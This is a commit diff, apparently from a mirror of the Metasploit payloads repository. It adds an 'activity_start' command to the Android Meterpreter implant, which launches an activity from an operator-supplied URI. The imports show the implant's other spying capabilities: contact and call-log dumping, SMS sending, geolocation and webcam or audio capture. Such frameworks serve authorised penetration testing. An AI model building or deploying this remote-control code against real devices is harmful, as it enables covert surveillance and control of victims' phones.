mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
activity_start
This commit is contained in:
parent
9ffb16538a
commit
7a491e68e9
@ -4,6 +4,7 @@ import android.content.Context;
|
||||
import android.os.Handler;
|
||||
import android.os.Looper;
|
||||
|
||||
import com.metasploit.meterpreter.android.activity_start_android;
|
||||
import com.metasploit.meterpreter.android.check_root_android;
|
||||
import com.metasploit.meterpreter.android.dump_calllog_android;
|
||||
import com.metasploit.meterpreter.android.dump_contacts_android;
|
||||
@ -12,8 +13,8 @@ import com.metasploit.meterpreter.android.geolocate_android;
|
||||
import com.metasploit.meterpreter.android.interval_collect;
|
||||
import com.metasploit.meterpreter.android.send_sms_android;
|
||||
import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android;
|
||||
import com.metasploit.meterpreter.android.stdapi_sys_config_sysinfo_android;
|
||||
import com.metasploit.meterpreter.android.stdapi_sys_config_getuid;
|
||||
import com.metasploit.meterpreter.android.stdapi_sys_config_sysinfo_android;
|
||||
import com.metasploit.meterpreter.android.stdapi_sys_process_get_processes_android;
|
||||
import com.metasploit.meterpreter.android.webcam_audio_record_android;
|
||||
import com.metasploit.meterpreter.android.webcam_get_frame_android;
|
||||
@ -21,9 +22,6 @@ import com.metasploit.meterpreter.android.webcam_list_android;
|
||||
import com.metasploit.meterpreter.android.webcam_start_android;
|
||||
import com.metasploit.meterpreter.android.webcam_stop_android;
|
||||
import com.metasploit.meterpreter.android.wlan_geolocate;
|
||||
|
||||
import com.metasploit.meterpreter.IntervalCollectionManager;
|
||||
|
||||
import com.metasploit.meterpreter.stdapi.Loader;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_fs_file;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_client;
|
||||
@ -48,7 +46,6 @@ import com.metasploit.meterpreter.stdapi.stdapi_sys_process_execute_V1_3;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
public class AndroidMeterpreter extends Meterpreter {
|
||||
@ -163,6 +160,7 @@ public class AndroidMeterpreter extends Meterpreter {
|
||||
mgr.registerCommand("send_sms", send_sms_android.class);
|
||||
mgr.registerCommand("wlan_geolocate", wlan_geolocate.class);
|
||||
mgr.registerCommand("interval_collect", interval_collect.class);
|
||||
mgr.registerCommand("activity_start", activity_start_android.class);
|
||||
}
|
||||
return getCommandManager().getNewCommands();
|
||||
}
|
||||
|
@ -0,0 +1,37 @@
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import android.app.Activity;
|
||||
import android.app.PendingIntent;
|
||||
import android.content.BroadcastReceiver;
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.content.IntentFilter;
|
||||
import android.telephony.SmsManager;
|
||||
|
||||
import com.metasploit.meterpreter.AndroidMeterpreter;
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
|
||||
public class activity_start_android implements Command {
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_URI_STRING = TLVPacket.TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9101);
|
||||
|
||||
@Override
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request,
|
||||
TLVPacket response) throws Exception {
|
||||
|
||||
String uri = request.getStringValue(TLV_TYPE_URI_STRING);
|
||||
final Context context = AndroidMeterpreter.getContext();
|
||||
if (context == null) {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
|
||||
Intent intent = Intent.getIntent(uri);
|
||||
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
|
||||
context.startActivity(intent);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue
Block a user